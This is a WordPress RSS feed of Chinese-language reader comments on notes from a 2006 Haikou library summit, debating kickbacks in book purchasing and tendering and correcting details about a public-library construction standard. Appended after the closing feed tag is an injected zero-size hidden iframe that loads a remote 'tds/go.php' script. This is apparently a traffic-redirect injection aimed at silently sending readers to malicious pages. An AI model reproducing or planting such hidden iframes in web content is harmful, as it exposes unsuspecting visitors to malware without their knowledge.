<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《2006年海口新年峰会散记之三》的评论</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/91.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net/archives/91.html</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 03:02:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>作者：雨雪</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-799</link>
		<dc:creator>雨雪</dc:creator>
		<pubDate>Fri, 10 Mar 2006 07:28:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-799</guid>
		<description>


收取回扣怎么可能合理？也不可能合法吧？这确实是图书馆行业的一个共同问题，可处理起来五花八门，各显神通。有的拿来发奖金，有的进采购人员私人腰包，有的作事业经费……但有一点是共通的：这是个敏感话题，不宜公开操作。为什么就不能在发票上注明折扣，按实洋报销，用同样的钱买更多的书呢？要知道国家的专项购书经费应该是专款专用的。我觉得这才是正规的合理的合法的做法。
</description>
		<content:encoded><![CDATA[<p>收取回扣怎么可能合理？也不可能合法吧？这确实是图书馆行业的一个共同问题，可处理起来五花八门，各显神通。有的拿来发奖金，有的进采购人员私人腰包，有的作事业经费……但有一点是共通的：这是个敏感话题，不宜公开操作。为什么就不能在发票上注明折扣，按实洋报销，用同样的钱买更多的书呢？要知道国家的专项购书经费应该是专款专用的。我觉得这才是正规的合理的合法的做法。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：无言</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-800</link>
		<dc:creator>无言</dc:creator>
		<pubDate>Tue, 28 Feb 2006 07:51:06 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-800</guid>
		<description>


为什么在风景秀丽的海边城市召开，有些人用的就是图书的回扣去玩，真是：“小偷”为“小偷”说话，高人一等。
</description>
		<content:encoded><![CDATA[<p>为什么在风景秀丽的海边城市召开，有些人用的就是图书的回扣去玩，真是：“小偷”为“小偷”说话，高人一等。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：楼梯</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-801</link>
		<dc:creator>楼梯</dc:creator>
		<pubDate>Tue, 28 Feb 2006 06:45:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-801</guid>
		<description>


大家不应站在自家的利益上说话，没有人愿意把自己可以装进口袋的钱硬要送给图书馆，拿了钱再说清话就太有辱斯文了，我更看不起你们了。如汤秘所言：图书中盘商逼良为娼，可为什么还有那么多图书馆任凭别人怎么“逼”也不入“娼门”呢？原来我不想谈这个问题，但着实忍无可忍。
</description>
		<content:encoded><![CDATA[<p>大家不应站在自家的利益上说话，没有人愿意把自己可以装进口袋的钱硬要送给图书馆，拿了钱再说清话就太有辱斯文了，我更看不起你们了。如汤秘所言：图书中盘商逼良为娼，可为什么还有那么多图书馆任凭别人怎么“逼”也不入“娼门”呢？原来我不想谈这个问题，但着实忍无可忍。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：问超平老师</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-802</link>
		<dc:creator>问超平老师</dc:creator>
		<pubDate>Sat, 14 Jan 2006 01:23:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-802</guid>
		<description>


人天书店是怎么一回事？我没有听说过，我们学校图书馆的期刊现在全由人天书店代理了，现在总是晚到，超过以前邮局代理一个月左右。
</description>
		<content:encoded><![CDATA[<p>人天书店是怎么一回事？我没有听说过，我们学校图书馆的期刊现在全由人天书店代理了，现在总是晚到，超过以前邮局代理一个月左右。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：tujun</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-803</link>
		<dc:creator>tujun</dc:creator>
		<pubDate>Fri, 13 Jan 2006 02:11:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-803</guid>
		<description>


图书馆回扣的普遍存在,其根源在于书价虚高,这个问题解决不了,招标也罢,道德约束也罢,都治不了本.
</description>
		<content:encoded><![CDATA[<p>图书馆回扣的普遍存在,其根源在于书价虚高,这个问题解决不了,招标也罢,道德约束也罢,都治不了本.</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：超平</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-804</link>
		<dc:creator>超平</dc:creator>
		<pubDate>Fri, 13 Jan 2006 00:50:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-804</guid>
		<description>


欢迎吴馆长、龚馆长光临寒舍！也感谢更正，我手都写酸了，也赶不上发言者的速度啊。图书采购对于我来说是一个陌生的领域，我很高兴我能为大家的讨论提供一个“客厅”。不管是对“回扣”的忧虑还是对招投标的疑虑，我们大家都在寻找一种更合理的办法。年前听说人天书店事件后，我的确很吃惊，这次会议上，詹福瑞馆长说加强管理，加强职业道德约束，实际上就是对个人的保护，我觉得这是一种看问题的高度，是一种管理层面上的人文关怀。
</description>
		<content:encoded><![CDATA[<p>欢迎吴馆长、龚馆长光临寒舍！也感谢更正，我手都写酸了，也赶不上发言者的速度啊。图书采购对于我来说是一个陌生的领域，我很高兴我能为大家的讨论提供一个“客厅”。不管是对“回扣”的忧虑还是对招投标的疑虑，我们大家都在寻找一种更合理的办法。年前听说人天书店事件后，我的确很吃惊，这次会议上，詹福瑞馆长说加强管理，加强职业道德约束，实际上就是对个人的保护，我觉得这是一种看问题的高度，是一种管理层面上的人文关怀。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：吴晞</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-805</link>
		<dc:creator>吴晞</dc:creator>
		<pubDate>Thu, 12 Jan 2006 13:12:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-805</guid>
		<description>


图书馆的回扣问题绝不是极少数的现象，用严重性、普遍性来形容并不为过。程焕文的一句话到是挺形象：大家的屁股都不干净。进个人腰包的当然是少数，但设立帐外小金库的 恐怕就不能说少了，至于用来发奖金就更普遍。此风不纠，铜臭何去，斯文何在？！当前首先要做的是划分错与非错、罪与非罪的界限，避免一些同人稀里糊涂地栽跟斗，被人家卖了还在帮着数钱呢。
</description>
		<content:encoded><![CDATA[<p>图书馆的回扣问题绝不是极少数的现象，用严重性、普遍性来形容并不为过。程焕文的一句话到是挺形象：大家的屁股都不干净。进个人腰包的当然是少数，但设立帐外小金库的 恐怕就不能说少了，至于用来发奖金就更普遍。此风不纠，铜臭何去，斯文何在？！当前首先要做的是划分错与非错、罪与非罪的界限，避免一些同人稀里糊涂地栽跟斗，被人家卖了还在帮着数钱呢。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：龚天力</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-806</link>
		<dc:creator>龚天力</dc:creator>
		<pubDate>Thu, 12 Jan 2006 12:18:41 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-806</guid>
		<description>


关于本次会议中提到的回扣问题讨论上的激烈言辞,本人不敢苟同,由于都是图书馆界的大家在慷慨陈词,晚辈不便插话,现也想说上几句:1.图书馆界的购书&quot;回扣&quot;应该说是大家都明知的事,但在市场经济的今天,买什么东西都可以讨价还价这是很普遍的常理,这所谓的&quot;回扣&quot;早就成为一种明码的折扣,至少在本人任职中的十几年里,一真是以作为购物的折扣来处理.所以用&quot;回扣&quot;这词显然不妥.2.这些折扣在很多公共图书馆中可能更多的是用来弥补事业运作经费的缺口,公共图书馆与高校图书馆的财务收支的差异,使得公共图书馆完全可以避免用图书折扣来分发福利.奖金.也许这会被认为是在&quot;洗钱&quot;.但其结果完全属于合理的财务处理.因此在公共图书馆界所谓的&quot;回扣&quot;危机现象可能仅仅是绝少现象,其严重性和普遍性似乎有点危言耸听.3.对于招标采购,本人同意吴馆长的观点.
</description>
		<content:encoded><![CDATA[<p>关于本次会议中提到的回扣问题讨论上的激烈言辞,本人不敢苟同,由于都是图书馆界的大家在慷慨陈词,晚辈不便插话,现也想说上几句:1.图书馆界的购书”回扣”应该说是大家都明知的事,但在市场经济的今天,买什么东西都可以讨价还价这是很普遍的常理,这所谓的”回扣”早就成为一种明码的折扣,至少在本人任职中的十几年里,一真是以作为购物的折扣来处理.所以用”回扣”这词显然不妥.2.这些折扣在很多公共图书馆中可能更多的是用来弥补事业运作经费的缺口,公共图书馆与高校图书馆的财务收支的差异,使得公共图书馆完全可以避免用图书折扣来分发福利.奖金.也许这会被认为是在”洗钱”.但其结果完全属于合理的财务处理.因此在公共图书馆界所谓的”回扣”危机现象可能仅仅是绝少现象,其严重性和普遍性似乎有点危言耸听.3.对于招标采购,本人同意吴馆长的观点.</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：bujie</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-807</link>
		<dc:creator>bujie</dc:creator>
		<pubDate>Thu, 12 Jan 2006 10:51:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-807</guid>
		<description>


曾经听到一个馆长介绍和评介图书采购招标的问题，与“关注公共利益”说的差不多，严重同意“关注公共利益”的观点
</description>
		<content:encoded><![CDATA[<p>曾经听到一个馆长介绍和评介图书采购招标的问题，与“关注公共利益”说的差不多，严重同意“关注公共利益”的观点</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：更正</title>
		<link>http://www.mingzhiguwen.net/archives/91.html/comment-page-1#comment-808</link>
		<dc:creator>更正</dc:creator>
		<pubDate>Thu, 12 Jan 2006 09:39:39 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/archives/2006%e5%b9%b4%e6%b5%b7%e5%8f%a3%e6%96%b0%e5%b9%b4%e5%b3%b0%e4%bc%9a%e6%95%a3%e8%ae%b0%e4%b9%8b%e4%b8%89.html#comment-808</guid>
		<description>


可能是由于会议发言者的语速太快，或者是发言时间有限，表达不完整，超平老师的记录略有出入，更正如下：    1，编制《公共图书馆建设标准》，是国家发改委、建设部下达给文化部的任务。文化部成立了“标准编制工作领导小组”，决定具体编制工作委托中国图书馆学会组织力量完成。因此，该标准的主编部门是文化部，编制单位是中国图书馆学会。根据国家发改委、建设部的规定，“《公共图书馆建设标准》是公共图书馆建设项目科学决策和合理确定建设、投资水平的全国性统一标准；是编制、评估和审批公共图书馆项目可行性研究报告的重要依据；也是有关部门审查公共图书馆建设项目初步设计和对其建设全过程进行监督检查的尺度。”     2，福建师大江向东教授主持的最新调查数据是：目前全世界大约有86个国家和地区先后颁布过211部图书馆法或与图书馆相关的法律（不包括呈缴本法）。
</description>
		<content:encoded><![CDATA[<p>可能是由于会议发言者的语速太快，或者是发言时间有限，表达不完整，超平老师的记录略有出入，更正如下：    1，编制《公共图书馆建设标准》，是国家发改委、建设部下达给文化部的任务。文化部成立了“标准编制工作领导小组”，决定具体编制工作委托中国图书馆学会组织力量完成。因此，该标准的主编部门是文化部，编制单位是中国图书馆学会。根据国家发改委、建设部的规定，“《公共图书馆建设标准》是公共图书馆建设项目科学决策和合理确定建设、投资水平的全国性统一标准；是编制、评估和审批公共图书馆项目可行性研究报告的重要依据；也是有关部门审查公共图书馆建设项目初步设计和对其建设全过程进行监督检查的尺度。”     2，福建师大江向东教授主持的最新调查数据是：目前全世界大约有86个国家和地区先后颁布过211部图书馆法或与图书馆相关的法律（不包括呈缴本法）。</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
